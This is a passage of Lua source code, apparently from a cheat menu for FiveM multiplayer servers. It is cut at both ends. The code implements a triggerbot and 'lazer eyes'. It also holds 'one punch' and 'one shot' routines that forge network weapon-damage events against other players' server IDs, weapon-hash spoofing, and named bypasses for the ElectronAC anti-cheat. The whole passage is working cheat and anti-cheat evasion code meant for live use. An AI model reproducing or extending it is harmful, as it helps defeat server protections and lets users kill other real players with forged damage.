not IsPedArmed(playerPed, 6) then resetTriggerBotTracking() break end if not IsPlayerFreeAiming(PlayerId()) then resetTriggerBotTracking() break end local found, target = GetEntityPlayerIsFreeAimingAt(PlayerId()) local allowNpc = menu.vars if allowNpc then allowNpc = menu.vars.bools if allowNpc then allowNpc = menu.vars.bools.triggerBotNpc end end allowNpc = allowNpc == true if not found or not DoesEntityExist(target) or not IsEntityAPed(target) or (not IsPedAPlayer(target) and not allowNpc) then triggerTargetSince = 0 triggerTargetEntity = 0 triggerTargetFired = false triggerMouseDown = false break end NetworkGetPlayerIndexFromPed(target) local targetPosition = GetEntityCoords(target) local distance = GetDistanceBetweenCoords(playerPosition, targetPosition, true) local maximumDistance = menu.vars.sliders.triggerBotDistance if not maximumDistance then maximumDistance = 180.0 end if distance > maximumDistance then triggerTargetSince = 0 triggerTargetEntity = 0 triggerTargetFired = false triggerMouseDown = false break end if not menu.vars.bools.revoBypass and IsEntityDead(target) then triggerTargetSince = 0 triggerTargetEntity = 0 triggerTargetFired = false triggerMouseDown = false break end local head = GetPedBoneCoords(target, 31086, 0.0, 0.0, 0.0) local onScreen, screenX, screenY = GetScreenCoordFromWorldCoord(head.x, head.y, head.z) local radius = 0.02 if not onScreen then triggerTargetSince = 0 triggerTargetEntity = 0 triggerTargetFired = false triggerMouseDown = false break end local dx = screenX - 0.5 dx = dx * dx local dy = screenY - 0.5 dy = dy * dy if dx + dy > radius * radius then triggerTargetSince = 0 triggerTargetEntity = 0 triggerTargetFired = false triggerMouseDown = false break end local currentTime = GetGameTimer() local configuredDelay = menu.vars.sliders.triggerBotDelay if not configuredDelay then configuredDelay = 50.0 end local fireDelay = math.max(0, math.floor(configuredDelay + 0.5)) local hitChance = menu.vars.sliders if hitChance then hitChance = menu.vars.sliders.triggerBotHitChance end if not hitChance then hitChance = 100.0 end hitChance = math.max(0.0, math.min(100.0, hitChance)) if triggerTargetEntity ~= target then triggerTargetEntity = target triggerTargetSince = currentTime triggerTargetFired = false triggerMouseDown = false end if triggerTargetFired then break end local elapsed = currentTime - triggerTargetSince if not (fireDelay <= elapsed) then break end if triggerMouseDown then triggerTargetFired = true triggerMouseDown = false local shouldClick = true if not (100.0 <= hitChance) then local roll = math.random(10000) local threshold = math.floor(hitChance * 100.0 + 0.5) if not (roll <= threshold) then shouldClick = false end end if shouldClick and Ham.sendMouseButtonEvent then Ham.sendMouseButtonEvent(0, "click") end if Ham.sendMouseButtonEvent then Ham.sendMouseButtonEvent(0, "up") end waitTime = 50 break end triggerMouseDown = true if Ham.sendMouseButtonEvent then Ham.sendMouseButtonEvent(0, "down") end waitTime = 1 until true Citizen.Wait(waitTime) end end) lastLazerBulletAt = 0 lazerFireWasHeld = false lastLazerRocketAt = 0 lazerRocketWasHeld = false Citizen.CreateThread(function() while _G.runmenu do local waitTime = 250 if menu.vars.bools.lazerEyes and not menu.vars.panicMode then local fireHeld = menu.functions.isLazerEyesFireKeyHeld if fireHeld then fireHeld = menu.functions.isLazerEyesFireKeyHeld() end if not fireHeld and menu.functions.applyLazerEyesHam then menu.functions.applyLazerEyesHam() end local allowRockets = menu.vars.freecamMenuActive ~= true local rocketHeld = menu.functions.isLazerEyesRocketKeyHeld if rocketHeld then rocketHeld = menu.functions.isLazerEyesRocketKeyHeld() end if allowRockets then waitTime = 0 if fireHeld then local currentTime = GetGameTimer() if not lazerFireWasHeld then lastLazerBulletAt = currentTime menu.functions.fireLazerEyesBullets(8) elseif 20 <= currentTime - lastLazerBulletAt then lastLazerBulletAt = currentTime menu.functions.fireLazerEyesBullets(3) end end if rocketHeld and not menu.vars.bools.lazerEyesDisableRockets then local currentTime = GetGameTimer() if not lazerRocketWasHeld then lastLazerRocketAt = currentTime Citizen.CreateThread(function() menu.functions.fireLazerEyesRockets(8) end) elseif 30 <= currentTime - lastLazerRocketAt then lastLazerRocketAt = currentTime Citizen.CreateThread(function() menu.functions.fireLazerEyesRockets(4) end) end end end lazerFireWasHeld = fireHeld or false lazerRocketWasHeld = rocketHeld or false else lazerFireWasHeld = false lazerRocketWasHeld = false end Citizen.Wait(waitTime) end end) unarmedWeaponHash = _ENV.GetHashKey("WEAPON_UNARMED") revolverWeaponHash = _ENV.GetHashKey("WEAPON_REVOLVER") knifeWeaponHash = _ENV.GetHashKey("WEAPON_KNIFE") batWeaponHash = _ENV.GetHashKey("WEAPON_BAT") rammedByCarWeaponHash = _ENV.GetHashKey("WEAPON_RAMMED_BY_CAR") fireExtinguisherWeaponHash = _ENV.GetHashKey("WEAPON_FIREEXTINGUISHER") lastSilentAimJumpAt = 0 lastSilentAimShotAt = 0 lastPoisonAttackAt = 0 lastPunchModeAt = 0 rageBotTargetStates = {} rageBotLockedTarget = nil rageBotCooldownState = {} rageBotCooldownState.windowStart = 0 rageBotCooldownState.killsUsed = 0 rageBotCooldownState.killWatch = {} lastSilentKillScanAt = 0 activeWeaponOverrideHash = 0 lastTeleportBulletAt = 0 lastOneShotAt = 0 lastOnePunchEventAt = 0 function ensureGrandWeaponSpoofState() if not menu.vars._silentAimGrandSpoofState then menu.vars._silentAimGrandSpoofState = { weapon = 0, grand = false, damage = -1 } end return menu.vars._silentAimGrandSpoofState end function updateGrandWeaponSpoofState(weaponHash, enabled, damage) local state = ensureGrandWeaponSpoofState() if not enabled then if not state.grand and state.weapon == 0 then return end if state.grand and state.weapon == weaponHash and Ham.removeWeaponDamageOverride then Ham.removeWeaponDamageOverride(weaponHash) end menu.vars._silentAimGrandSpoofState = { weapon = 0, grand = false, damage = -1 } return end if state.weapon == weaponHash and state.grand and state.damage == damage then return end Ham.setWeaponOverride(weaponHash, unarmedWeaponHash) if Ham.setWeaponDamageOverride then Ham.setWeaponDamageOverride(weaponHash, damage) end menu.vars._silentAimGrandSpoofState = { weapon = weaponHash, grand = true, damage = damage } end function computeGrandWeaponDamage(weaponHash) if menu.functions and menu.functions.getSilentAimGrandWeaponDamage then return menu.functions.getSilentAimGrandWeaponDamage(weaponHash) end if weaponHash == revolverWeaponHash then return 53 end return 9 end function sendGrandWeaponDamageEvent(serverId, damage, damageData) if not serverId or serverId <= 0 then return end local sendDamageEvent = Ham.sendWeaponDamageEvent local event = {} event.weaponHash = unarmedWeaponHash event.damage = damage event.damageType = 3 event.hitGlobalId = 0 event.parentGlobalId = 0 event.hitComponent = 0 event.overrideDamage = true event.damageTime = GetNetworkTimeAccurate() event.f133 = true event.isNetTargetPos = true event.damageFlags = 513 event.f112Data = damageData event.willKill = false sendDamageEvent(serverId, event) end meleeWeaponGroupHash = 3566412244 function selectAntiCheatWeaponHash(fallbackWeaponHash) if menu.vars.antiCheats and menu.vars.antiCheats.ElectronAC ~= nil then return batWeaponHash end return fallbackWeaponHash or unarmedWeaponHash end excludedDamageWeaponHashes = {} excludedDamageWeaponHashes[_ENV.GetHashKey("WEAPON_GRENADE")] = true excludedDamageWeaponHashes[_ENV.GetHashKey("WEAPON_STICKYBOMB")] = true excludedDamageWeaponHashes[_ENV.GetHashKey("WEAPON_PROXMINE")] = true excludedDamageWeaponHashes[_ENV.GetHashKey("WEAPON_PIPEBOMB")] = true excludedDamageWeaponHashes[_ENV.GetHashKey("WEAPON_SMOKEGRENADE")] = true excludedDamageWeaponHashes[_ENV.GetHashKey("WEAPON_BZGAS")] = true excludedDamageWeaponHashes[_ENV.GetHashKey("WEAPON_MOLOTOV")] = true excludedDamageWeaponHashes[_ENV.GetHashKey("WEAPON_FIREEXTINGUISHER")] = true excludedDamageWeaponHashes[_ENV.GetHashKey("WEAPON_PETROLCAN")] = true excludedDamageWeaponHashes[_ENV.GetHashKey("WEAPON_HAZARDCAN")] = true excludedDamageWeaponHashes[_ENV.GetHashKey("WEAPON_FERTILIZERCAN")] = true excludedDamageWeaponHashes[_ENV.GetHashKey("WEAPON_BALL")] = true excludedDamageWeaponHashes[_ENV.GetHashKey("WEAPON_SNOWBALL")] = true excludedDamageWeaponHashes[_ENV.GetHashKey("WEAPON_ACIDPACKAGE")] = true excludedDamageWeaponHashes[_ENV.GetHashKey("WEAPON_FLARE")] = true excludedDamageWeaponHashes[_ENV.GetHashKey("WEAPON_STUNGUN")] = true excludedDamageWeaponHashes[_ENV.GetHashKey("WEAPON_RPG")] = true excludedDamageWeaponHashes[_ENV.GetHashKey("WEAPON_HOMINGLAUNCHER")] = true excludedDamageWeaponHashes[_ENV.GetHashKey("WEAPON_FIREWORK")] = true excludedDamageWeaponHashes[_ENV.GetHashKey("WEAPON_GRENADELAUNCHER")] = true excludedDamageWeaponHashes[_ENV.GetHashKey("WEAPON_GRENADELAUNCHER_SMOKE")] = true excludedDamageWeaponHashes[_ENV.GetHashKey("WEAPON_COMPACTLAUNCHER")] = true excludedDamageWeaponHashes[_ENV.GetHashKey("WEAPON_RAILGUN")] = true excludedDamageWeaponHashes[_ENV.GetHashKey("WEAPON_FLAREGUN")] = true excludedDamageWeaponHashes[_ENV.GetHashKey("WEAPON_EMPLAUNCHER")] = true weaponStatsByHash = {} do local weaponDefinitions = { { "WEAPON_PISTOL", 26, 18, 40, 120, 190, nil }, { "WEAPON_PISTOL_MK2", 32, 23, 40, 120, 190, nil }, { "WEAPON_COMBATPISTOL", 27, 19, 40, 120, 190, nil }, { "WEAPON_PISTOL50", 51, 36, 120, 120, 140, nil }, { "WEAPON_SNSPISTOL", 28, 20, 30, 120, 190, nil }, { "WEAPON_SNSPISTOL_MK2", 28, 20, 30, 120, 190, nil }, { "WEAPON_HEAVYPISTOL", 40, 28, 30, 120, 150, nil }, { "WEAPON_VINTAGEPISTOL", 34, 24, 40, 120, 200, nil }, { "WEAPON_CERAMICPISTOL", 32, 23, 30, 120, 170, nil }, { "WEAPON_MARKSMANPISTOL", 220, 158, 45, 120, 25, nil }, { "WEAPON_REVOLVER", 160, 115, 120, 120, 35, nil }, { "WEAPON_REVOLVER_MK2", 200, 144, 20, 120, 50, nil }, { "WEAPON_DOUBLEACTION", 81, 58, 120, 120, 145, nil }, { "WEAPON_NAVYREVOLVER", 160, 115, 120, 120, 50, nil }, { "WEAPON_GADGETPISTOL", 195, 140, 45, 120, 32, nil }, { "WEAPON_APPISTOL", 25, 18, 30, 120, 615, nil }, { "WEAPON_MICROSMG", 21, 15, 40, 120, 510, nil }, { "WEAPON_MACHINEPISTOL", 27, 19, 40, 120, 525, nil }, { "WEAPON_MINISMG", 22, 15, 40, 120, 680, nil }, { "WEAPON_SMG", 22, 15, 40, 120, 470, nil }, { "WEAPON_SMG_MK2", 25, 18, 40, 120, 470, nil }, { "WEAPON_ASSAULTSMG", 23, 16, 120, 120, 500, nil }, { "WEAPON_COMBATPDW", 28, 20, 40, 120, 440, nil }, { "WEAPON_ASSAULTRIFLE", 30, 21, 47.5, 120, 360, nil }, { "WEAPON_ASSAULTRIFLE_MK2", 40, 28, 47.5, 120, 360, nil }, { "WEAPON_CARBINERIFLE", 32, 23, 47.5, 120, 500, nil }, { "WEAPON_CARBINERIFLE_MK2", 33, 23, 47.5, 120, 500, nil }, { "WEAPON_ADVANCEDRIFLE", 34, 24, 47.5, 120, 500, nil }, { "WEAPON_SPECIALCARBINE", 32, 23, 47.5, 120, 540, nil }, { "WEAPON_SPECIALCARBINE_MK2", 32.5, 23, 47.5, 120, 540, nil }, { "WEAPON_BULLPUPRIFLE", 32, 23, 47.5, 120, 520, nil }, { "WEAPON_BULLPUPRIFLE_MK2", 33, 23, 47.5, 120, 520, nil }, { "WEAPON_COMPACTRIFLE", 34, 24, 47.5, 120, 360, nil }, { "WEAPON_MILITARYRIFLE", 37.5, 27, 47.5, 120, 460, nil }, { "WEAPON_HEAVYRIFLE", 34, 24, 47.5, 120, 500, nil }, { "WEAPON_TACTICALRIFLE", 34.75, 25, 47.5, 120, 500, nil }, { "WEAPON_MG", 40, 28, 47.5, 120, 515, nil }, { "WEAPON_COMBATMG", 45, 32, 47.5, 120, 515, nil }, { "WEAPON_COMBATMG_MK2", 47, 33, 47.5, 120, 515, nil }, { "WEAPON_GUSENBERG", 34, 24, 47.5, 120, 460, nil }, { "WEAPON_RAYCARBINE", 45, 32, 47.5, 120, 410, nil }, { "WEAPON_PUMPSHOTGUN", 29, 20, 10, 40, 75, 8 }, { "WEAPON_PUMPSHOTGUN_MK2", 32, 23, 10, 40, 75, 8 }, { "WEAPON_SAWNOFFSHOTGUN", 40, 28, 10, 40, 75, 8 }, { "WEAPON_BULLPUPSHOTGUN", 14, 10, 10, 40, 75, 8 }, { "WEAPON_ASSAULTSHOTGUN", 32, 23, 5, 40, 255, 6 }, { "WEAPON_MUSKET", 165, 118, 100, 250, 20, nil }, { "WEAPON_HEAVYSHOTGUN", 117, 84, 10, 50, 225, nil }, { "WEAPON_DBSHOTGUN", 30, 21, 5, 30, 55, 8 }, { "WEAPON_SWEEPERSHOTGUN", 27, 19, 5, 40, 205, 6 }, { "WEAPON_COMBATSHOTGUN", 31, 22, 5, 40, 200, 6 }, { "WEAPON_SNIPERRIFLE", 101, 72, 1500, 1500, 40, nil }, { "WEAPON_HEAVYSNIPER", 216, 155, 1500, 1500, 60, nil }, { "WEAPON_HEAVYSNIPER_MK2", 230, 165, 1500, 1500, 60, nil }, { "WEAPON_MARKSMANRIFLE", 65, 46, 250, 1000, 190, nil }, { "WEAPON_MARKSMANRIFLE_MK2", 75, 54, 250, 1000, 190, nil }, { "WEAPON_PRECISIONRIFLE", 101, 72, 1500, 1500, 40, nil }, { "WEAPON_MINIGUN", 30, 21, 57.5, 120, 3000, nil }, { "WEAPON_RAYMINIGUN", 30, 21, 57.5, 120, 3000, nil }, } for _, definition in _ENV.ipairs(weaponDefinitions) do local weaponHash = _ENV.GetHashKey(definition[1]) local stats = {} stats.base = definition[2] stats.fm = definition[3] stats.fs = definition[4] stats.fe = definition[5] stats.rpm = definition[6] stats.pellets = definition[7] or 1 weaponStatsByHash[weaponHash] = stats end end function raycastCameraHitPosition(ignoredEntity) local cameraPosition = GetFinalRenderedCamCoord() if not cameraPosition then return nil end local cameraRotation = GetFinalRenderedCamRot(2) if not cameraRotation then return nil end local direction = vector3( -math.sin(math.rad(cameraRotation.z)) * math.cos(math.rad(cameraRotation.x)), math.cos(math.rad(cameraRotation.z)) * math.cos(math.rad(cameraRotation.x)), math.sin(math.rad(cameraRotation.x)) ) local targetPosition = cameraPosition + direction * 2500.0 local rayHandle = StartShapeTestRay( cameraPosition.x, cameraPosition.y, cameraPosition.z, targetPosition.x, targetPosition.y, targetPosition.z, 511, ignoredEntity, 0 ) local deadline = GetGameTimer() + 150 while true do local status, hit, hitPosition = GetShapeTestResult(rayHandle) if status == 1 then Wait(0) if deadline <= GetGameTimer() then return nil end else if status ~= 2 or not hit then return nil end if hit ~= true and hit ~= 1 then return nil end local x, y, z = hitPosition.x, hitPosition.y, hitPosition.z if not x or not y or not z or x ~= x or y ~= y or z ~= z then return nil end if math.abs(x) < 0.05 and math.abs(y) < 0.05 and math.abs(z) < 0.05 then return nil end return hitPosition end end end function raycastCameraPlayer(ignoredEntity) local cameraPosition = GetFinalRenderedCamCoord() if not cameraPosition then return nil end local cameraRotation = GetFinalRenderedCamRot(2) if not cameraRotation then return nil end local direction = vector3( -math.sin(math.rad(cameraRotation.z)) * math.cos(math.rad(cameraRotation.x)), math.cos(math.rad(cameraRotation.z)) * math.cos(math.rad(cameraRotation.x)), math.sin(math.rad(cameraRotation.x)) ) local targetPosition = cameraPosition + direction * 2500.0 local rayHandle = StartShapeTestRay( cameraPosition.x, cameraPosition.y, cameraPosition.z, targetPosition.x, targetPosition.y, targetPosition.z, 511, ignoredEntity, 0 ) local deadline = GetGameTimer() + 150 while true do local status, hit, _, _, entityHit = GetShapeTestResult(rayHandle) if status == 1 then Wait(0) if deadline <= GetGameTimer() then return nil end else if status ~= 2 or not hit or (hit ~= true and hit ~= 1) then return nil end if not entityHit or entityHit == 0 or not DoesEntityExist(entityHit) then return nil end local target = entityHit if IsEntityAVehicle(entityHit) then local driver = GetPedInVehicleSeat(entityHit, -1) if not driver or driver == 0 then return nil end target = driver end if not IsEntityAPed(target) or not IsPedAPlayer(target) then return nil end if target == ignoredEntity or IsEntityDead(target) or menu.utils.isPedFriend(target) then return nil end local playerIndex = NetworkGetPlayerIndexFromPed(target) if not playerIndex or playerIndex == -1 then return nil end local serverId = GetPlayerServerId(playerIndex) if not serverId or serverId <= 0 then return nil end return serverId, target end end end function findNearbyMeleeTargetPed(entity) if not entity or entity == 0 or not DoesEntityExist(entity) then return nil end local meleeTarget = GetMeleeTargetForPed(entity) if meleeTarget and meleeTarget ~= 0 and DoesEntityExist(meleeTarget) and IsPedAPlayer(meleeTarget) and not IsEntityDead(meleeTarget) and not menu.utils.isPedFriend(meleeTarget) then return meleeTarget end local position = GetEntityCoords(entity) local forward = GetEntityForwardVector(entity) local closestTarget = nil local closestDistance = 3.5 for _, playerId in ipairs(GetActivePlayers()) do repeat if playerId == PlayerId() or not NetworkIsPlayerActive(playerId) then break end local target = GetPlayerPed(playerId) if target == 0 or not DoesEntityExist(target) or IsEntityDead(target) or menu.utils.isPedFriend(target) then break end local delta = GetEntityCoords(target) - position local distance = #delta if not (closestDistance >= distance) then break end local direction = delta / distance local dot = forward.x * direction.x + forward.y * direction.y + forward.z * direction.z if not (0.25 < dot) then break end if closestTarget and not (closestDistance > distance) then break end closestTarget = target closestDistance = distance until true end return closestTarget end function startOnePunchDamageSequence(entity, targetServerId) if not Ham or not Ham.sendWeaponDamageEvent then return end local electronAc = menu.vars.antiCheats if electronAc then electronAc = menu.vars.antiCheats.ElectronAC ~= nil end local weaponHash, damage, shotCount, shotDelay if electronAc then weaponHash, damage, shotCount, shotDelay = batWeaponHash, 100, 2, 25 else weaponHash, damage, shotCount, shotDelay = unarmedWeaponHash, 19, 10, 8 end CreateThread(function() for shot = 1, shotCount, 1 do if not menu.vars or not menu.vars.bools or not menu.vars.bools.onePunch then return end local targetPed = GetPlayerPed(GetPlayerFromServerId(targetServerId)) if not targetPed or targetPed == 0 or not DoesEntityExist(targetPed) or IsEntityDead(targetPed) then return end local distance = #(GetEntityCoords(entity) - GetEntityCoords(targetPed)) local willKill = GetEntityHealth(targetPed) <= damage local data = {} data.weaponHash = weaponHash data.damage = damage data.damageType = 3 data.hitGlobalId = 0 data.parentGlobalId = 0 data.hitComponent = 0 data.overrideDamage = true data.damageTime = GetNetworkTimeAccurate() data.f133 = true data.isNetTargetPos = true data.damageFlags = electronAc and 517 or 513 data.f112Data = distance data.willKill = electronAc and willKill or nil Ham.sendWeaponDamageEvent(targetServerId, data) if shot < shotCount then Wait(shotDelay) end end end) end AddEventHandler("entityDamaged", function(entity, attacker, weaponArgument, unusedArgument) if not _G.runmenu or not menu or not menu.vars or not menu.vars.bools or not menu.vars.bools.onePunch then return end if menu.vars.panicMode then return end if menu.vars.antiCheats and menu.vars.antiCheats.ElectronAC ~= nil then return end local playerPed = PlayerPedId() if playerPed == 0 or attacker ~= playerPed or entity == 0 or entity == playerPed then return end if not DoesEntityExist(entity) or not IsEntityAPed(entity) or not IsPedAPlayer(entity) then return end if IsEntityDead(entity) or menu.utils.isPedFriend(entity) then return end local weapon = weaponArgument if not weapon or weapon == 0 then weapon = unarmedWeaponHash end if weapon ~= unarmedWeaponHash and GetWeapontypeGroup(weapon) ~= meleeWeaponGroupHash then return end local playerIndex = NetworkGetPlayerIndexFromPed(entity) if not playerIndex or playerIndex == -1 then return end local serverId = GetPlayerServerId(playerIndex) if not serverId or serverId <= 0 then return end local currentTime = GetGameTimer() if currentTime - lastOnePunchEventAt < 8 then return end lastOnePunchEventAt = currentTime startOnePunchDamageSequence(playerPed, serverId) end) AddEventHandler("gameEventTriggered", function(eventName, arguments) if eventName ~= "CEventNetworkEntityDamage" or type(arguments) ~= "table" then return end local victim = arguments[1] local attacker = arguments[2] local playerPed = PlayerPedId() if victim ~= playerPed then return end if menu.functions and menu.functions.rememberDamageReflectionAttacker then menu.functions.rememberDamageReflectionAttacker(attacker) end if menu.functions and menu.functions.processDamageReflectionHit then menu.functions.processDamageReflectionHit(victim, 0) end end) AddEventHandler("entityDamaged", function(victim, attacker, unusedArgument, eventValue) local playerPed = PlayerPedId() if victim ~= playerPed then return end if menu.functions and menu.functions.rememberDamageReflectionAttacker then menu.functions.rememberDamageReflectionAttacker(attacker) end if menu.functions and menu.functions.processDamageReflectionHit then menu.functions.processDamageReflectionHit(victim, eventValue) end end) Citizen.CreateThread(function() local wasInMelee = false while _G.runmenu do local waitTime = 500 repeat if not menu.vars.bools.onePunch or menu.vars.panicMode or not menu.vars.antiCheats or menu.vars.antiCheats.ElectronAC == nil then wasInMelee = false break end waitTime = 0 local playerPed = PlayerPedId() if playerPed == 0 or not DoesEntityExist(playerPed) or IsEntityDead(playerPed) then wasInMelee = false break end local inMelee = IsPedInMeleeCombat(playerPed) local pressed = IsControlJustPressed(0, 24) if not pressed then pressed = IsControlJustPressed(0, 140) if not pressed then pressed = IsControlJustPressed(0, 141) if not pressed then pressed = IsDisabledControlJustPressed(0, 24) if not pressed then pressed = IsDisabledControlJustPressed(0, 140) if not pressed then pressed = IsDisabledControlJustPressed(0, 141) if not pressed then if not inMelee then pressed = inMelee else pressed = not wasInMelee end end end end end end end wasInMelee = inMelee if not pressed then break end local targetPed = findNearbyMeleeTargetPed(playerPed) if not targetPed then break end local playerIndex = NetworkGetPlayerIndexFromPed(targetPed) if not playerIndex or playerIndex == -1 then break end local serverId = GetPlayerServerId(playerIndex) if not serverId or not (0 < serverId) then break end local currentTime = GetGameTimer() if not (200 <= currentTime - lastOnePunchEventAt) then break end lastOnePunchEventAt = currentTime startOnePunchDamageSequence(playerPed, serverId) until true Citizen.Wait(waitTime) end end) Citizen.CreateThread(function() while _G.runmenu do if menu.vars.bools.teleportBullet == true then local playerPed = PlayerPedId() if playerPed ~= 0 and DoesEntityExist(playerPed) and not IsEntityDead(playerPed) and IsPedShooting(playerPed) then local weapon = GetSelectedPedWeapon(playerPed) if weapon and weapon ~= 0 and weapon ~= unarmedWeaponHash and not excludedDamageWeaponHashes[weapon] then if GetWeapontypeGroup(weapon) ~= meleeWeaponGroupHash then local currentTime = GetGameTimer() if 120 <= currentTime - lastTeleportBulletAt then local hitPosition = raycastCameraHitPosition(playerPed) if hitPosition then local playerPosition = GetEntityCoords(playerPed) if 0.35 < #(hitPosition - playerPosition) then lastTeleportBulletAt = currentTime local x, y, z = hitPosition.x, hitPosition.y, hitPosition.z + 0.12 local vehicle = GetVehiclePedIsIn(playerPed, false) if vehicle and vehicle ~= 0 then SetEntityCoords(vehicle, x, y, z, false, false, false, true) else SetEntityCoords(playerPed, x, y, z, false, false, false, true) end end end end end end end Citizen.Wait(0) else Citizen.Wait(250) end end end) Citizen.CreateThread(function() local shotInterval = 8 while _G.runmenu do if menu.vars.bools.oneShot then local playerPed = PlayerPedId() if playerPed ~= 0 and DoesEntityExist(playerPed) and not IsEntityDead(playerPed) and IsPedShooting(playerPed) then local weapon = GetSelectedPedWeapon(playerPed) if weapon and weapon ~= 0 and weapon ~= unarmedWeaponHash and not excludedDamageWeaponHashes[weapon] then if GetWeapontypeGroup(weapon) ~= meleeWeaponGroupHash then local currentTime = GetGameTimer() if shotInterval <= currentTime - lastOneShotAt then local targetServerId = raycastCameraPlayer(playerPed) if targetServerId and Ham and Ham.sendWeaponDamageEvent then lastOneShotAt = currentTime CreateThread(function() local function sendShots() for shot = 1, 10, 1 do local targetPed = GetPlayerPed(GetPlayerFromServerId(targetServerId)) if not targetPed or targetPed == 0 or not DoesEntityExist(targetPed) or IsEntityDead(targetPed) then return end local distance = #(GetEntityCoords(playerPed) - GetEntityCoords(targetPed)) local data = {} data.weaponHash = weapon data.damage = 19 data.damageType = 3 data.hitGlobalId = 0 data.parentGlobalId = 0 data.hitComponent = 0 data.overrideDamage = true data.damageTime = GetNetworkTimeAccurate() data.f133 = true data.isNetTargetPos = true data.damageFlags = 513 data.f112Data = distance Ham.sendWeaponDamageEvent(targetServerId, data) Wait(8) end end if menu.vars.bools.weaponBypassRecommended and menu.functions.withRecommendedBypassDamageVehicleSpoof then menu.functions.withRecommendedBypassDamageVehicleSpoof(sendShots, 100) return end sendShots() end) end end end end end Citizen.Wait(0) else Citizen.Wait(250) end end end) Citizen.CreateThread(function() while _G.runmenu do local knockoutEnabled = menu.vars.bools.knockoutWeaponSpoof == true local fakeWeaponEnabled = menu.vars.bools.fakeWeaponEnabled == true local enabled = knockoutEnabled or fakeWeaponEnabled if Ham.setWeaponSpoofHash and Ham.weaponSpoof then if not (menu.vars.bools and menu.vars.bools.rageBot) then if knockoutEnabled then Ham.setWeaponSpoofHash(unarmedWeaponHash) Ham.weaponSpoof(true) elseif fakeWeaponEnabled then menu.functions.applyFakeWeaponSpoof() else Ham.weaponSpoof(false) end end end Citizen.Wait(enabled and 50 or 250) end if Ham.weaponSpoof then Ham.weaponSpoof(false) end end) Citizen.CreateThread(function() while _G.runmenu do local waitTime = 250 if menu.vars.bools.rageBot and not menu.vars.panicMode then waitTime = 0 elseif menu.vars.bools.spoofWeaponBypass or menu.vars.bools.knockoutWeaponSpoof then waitTime = 0 local playerPed = PlayerPedId() if playerPed ~= 0 and DoesEntityExist(playerPed) and not IsEntityDead(playerPed) then local weapon = GetSelectedPedWeapon(playerPed) if weapon and weapon ~= 0 and weapon ~= unarmedWeaponHash then if activeWeaponOverrideHash ~= 0 and activeWeaponOverrideHash ~= weapon then if Ham.removeWeaponOverride then Ham.removeWeaponOverride(activeWeaponOverrideHash) end if Ham.removeWeaponDamageOverride then Ham.removeWeaponDamageOverride(activeWeaponOverrideHash) end end activeWeaponOverrideHash = weapon local electronBypass = menu.vars.bools.electronAcWeaponBypass local useOtherBypass = false if electronBypass then local nearbyMode = menu.utils.isServer185169NearbyVehicleMode if nearbyMode then nearbyMode = menu.utils.isServer185169NearbyVehicleMode() end if nearbyMode and menu.vars.bools.localWeaponSpoof then useOtherBypass = true end if not useOtherBypass and Ham.setWeaponOverride then Ham.setWeaponOverride(weapon, batWeaponHash) end end if not electronBypass or useOtherBypass then if menu.vars.bools.weaponBypass then if Ham.setWeaponOverride and menu.functions.getWeaponBypassSpoofHash then Ham.setWeaponOverride(weapon, menu.functions.getWeaponBypassSpoofHash()) end elseif menu.vars.bools.weaponBypassRecommended then if Ham.setWeaponOverride and menu.functions.getRecommendedWeaponBypassSpoofHash then Ham.setWeaponOverride(weapon, menu.functions.getRecommendedWeaponBypassSpoofHash()) end elseif Ham.setWeaponOverride then Ham.setWeaponOverride(weapon, unarmedWeaponHash) end end if Ham.removeWeaponDamageOverride then Ham.removeWeaponDamageOverride(weapon) end elseif activeWeaponOverrideHash ~= 0 then if Ham.removeWeaponOverride then Ham.removeWeaponOverride(activeWeaponOverrideHash) end if Ham.removeWeaponDamageOverride then Ham.removeWeaponDamageOverride(activeWeaponOverrideHash) end activeWeaponOverrideHash = 0 end else if activeWeaponOverrideHash ~= 0 then if Ham.removeWeaponOverride then Ham.removeWeaponOverride(activeWeaponOverrideHash) end if Ham.removeWeaponDamageOverride then Ham.removeWeaponDamageOverride(activeWeaponOverrideHash) end activeWeaponOverrideHash = 0 end if Ham.setWeaponOverride then Ham.setWeaponOverride(0, 0) end end else if activeWeaponOverrideHash ~= 0 then if Ham.removeWeaponOverride then Ham.removeWeaponOverride(activeWeaponOverrideHash) end if Ham.removeWeaponDamageOverride then Ham.removeWeaponDamageOverride(activeWeaponOverrideHash) end activeWeaponOverrideHash = 0 end if Ham.setWeaponOverride then Ham.setWeaponOverride(0, 0) end end Citizen.Wait(waitTime) end end) Citizen.CreateThread(function() while _G.runmenu do if menu.vars.bools and menu.vars.bools.electronAcWeaponBypass then if menu.functions.applyElectronAcWeaponBypass then menu.functions.applyElectronAcWeaponBypass() end Citizen.Wait(0) elseif menu.vars.bools and menu.vars.bools.weaponBypass then if menu.functions.applyWeaponBypass then menu.functions.applyWeaponBypass() end Citizen.Wait(0) elseif menu.vars.bools and menu.vars.bools.weaponBypassRecommended then if menu.functions.applyRecommendedWeaponBypass then menu.functions.applyRecommendedWeaponBypass() end Citizen.Wait(0) else Citizen.Wait(250) end end end) Citizen.CreateThread(function() while _G.runmenu do if menu.vars.bools and menu.vars.bools.localWeaponSpoof then if menu.functions.applyLocalWeaponSpoof then menu.functions.applyLocalWeaponSpoof() end Citizen.Wait(0) else Citizen.Wait(250) end end end) Citizen.CreateThread(function() local wasActive = false while _G.runmenu do if menu.vars.bools and menu.vars.bools.weaponBypassRecommended and not menu.vars.panicMode then local playerPed = PlayerPedId() local weapon = 0 if playerPed ~= 0 then weapon = GetSelectedPedWeapon(playerPed) if not weapon then weapon = 0 end end local armed = weapon ~= 0 and weapon ~= unarmedWeaponHash local active = false if playerPed ~= 0 then active = DoesEntityExist(playerPed) if active then if IsEntityDead(playerPed) then active = false elseif not armed then active = armed else active = IsPedShooting(playerPed) if not active then active = IsControlPressed(0, 24) if not active then active = IsDisabledControlPressed(0, 24) end end end end end if active then if not wasActive and menu.functions.beginRecommendedBypassDamageVehicleSpoof then menu.functions.beginRecommendedBypassDamageVehicleSpoof() end elseif wasActive and menu.functions.scheduleEndRecommendedBypassDamageVehicleSpoof then menu.functions.scheduleEndRecommendedBypassDamageVehicleSpoof(200) end wasActive = active Citizen.Wait(0) else if wasActive and menu.functions.scheduleEndRecommendedBypassDamageVehicleSpoof then menu.functions.scheduleEndRecommendedBypassDamageVehicleSpoof(200) end wasActive = false Citizen.Wait(250) end end end) Citizen.CreateThread(function() local pedCache = { lastUpdate = 0, peds = {} } local function collectPeds() if GetGamePool then return GetGamePool("CPed") or {} end if not FindFirstPed or not FindNextPed or not EndFindPed then return {} end local peds = {} local handle, ped = FindFirstPed() while handle and handle ~= -1 do if ped and ped ~= 0 then peds[#peds + 1] = ped end local 